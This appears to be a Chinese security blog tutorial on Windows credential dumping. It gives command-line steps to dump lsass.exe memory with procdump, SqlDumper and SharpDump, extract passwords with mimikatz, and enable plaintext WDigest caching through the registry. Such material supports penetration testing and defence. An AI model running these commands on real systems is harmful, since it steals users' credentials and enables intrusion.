windows凭证转储(一)

2020-09-24 11:13:26 浏览数 (1)

声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!

START

0x01前言

本节主要介绍几种windows系统环境下凭证转储的几种方式,以及通过日志如何去检查是否遭受到了凭证转储。

0x02相关概念

(1)凭证转储:从操作系统和软件中获取登录账号密码信息的过程,通过获取的凭证可以用来进行横向移动,获取受限信息,远程桌面连接等。 (2)lsass memory: 已登录用户的明文密码、Kerberos票证、Kerberos加密密钥、智能卡/令牌PIN代码、lm/ntlm哈希、dpapi域备份密钥、域信任身份验证信息、缓存的dpapi主密钥、缓存syskey(需要解密sam/lsa机密/缓存的凭据/ntds.dit)、明文pa存储在凭证管理器中的帐户密码。以上数据受到LsaProtectMemory保护。 (3)SAM (Security Accounts Manager):SAM是一个数据库文件,包含主机的本地帐户,通常使用“net user”命令找到的帐户。要枚举SAM数据库,需要系统级访问。 (4) 常见工具:Mimikatz、Invoke-Mimikatz、procdump、sqldump、sharpdump

0x03Sysmon 简介和使用

System Monitor (Sysmon)是一个Windows系统服务和设备驱动程序,以监视系统活动并将其记录到Windows事件日志中。提供了关于进程创建、网络连接和文件创建时间更改的详细信息。通过收集它使用Windows Event Collection或SIEM代理生成的事件,然后分析生成的文件记录,可以用来识别恶意或异常活动,并了解入侵者和恶意软件如何在您的网络上运行。

0x04获取系统口令

1) procdump mimikatz 获取系统凭证详细步骤:

步骤一、procdump是微软的进程分析工具,用于针对目标主机系统进程进行打包,工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump。将procdump.exe 上传至目标主机,并执行:

代码语言:javascript复制
procdump.exe -accepteula -ma lsass.exe lsass.dmp

步骤二、将lsass.dmp 回传至本地,通过mimikatz进行解包,mimikatz工具是一个法国人所写的轻量级调试器。可以直接从 lsass.exe 里获取windows处于active状态账号明文密码:

代码语言:javascript复制
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

注:在windows 10 ,winserver2016 默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方法解决,但需要用户重新登录后才能成功抓取。 解决方式:修改注册表,等待用户再次登录,重复步骤1,2即可抓到明文:

代码语言:javascript复制
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

0x05常见进程转储方式

(1) procdump方式

Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。可以利用该工具获取在线进程数据。

代码语言:javascript复制
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsaaa.dmp" "sekurlsa::logonPasswords full" "exit"

(2) sqldump方式

SqlDumper.exe默认存放在C:Program FilesMicrosoft SQL ServernumberShared,number代表SQL Server的版本,如若目标计算机没有安装mssql,可以自行上传一个sqldumper.exe可执行件。

代码语言:javascript复制
tasklist /svc |findstr lsass.exe
Sqldumper.exe 进程ID 0 0x01100
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"

(3) SharpDump方式

下载地址:https://github.com/GhostPack/SharpDump。下载下来的文件为源码,此时需要编译成可执行文件:

代码语言:javascript复制
%SystemRoot%Microsoft.NETFrameworkv4.0.30319MSBuild.exe "D:工具mimikatzSharpDump-masterSharpDump.sln" /property:Configuration=Debug /t:build /p:VisualStudioVersion=14.0

进入c:windowstemp将debug.bin文件提取出来修改后缀bin为zip解压出来

代码语言:javascript复制
mimikatz.exe "sekurlsa::minidump debug908" "sekurlsa::logonPasswords full" "exit"

0 人点赞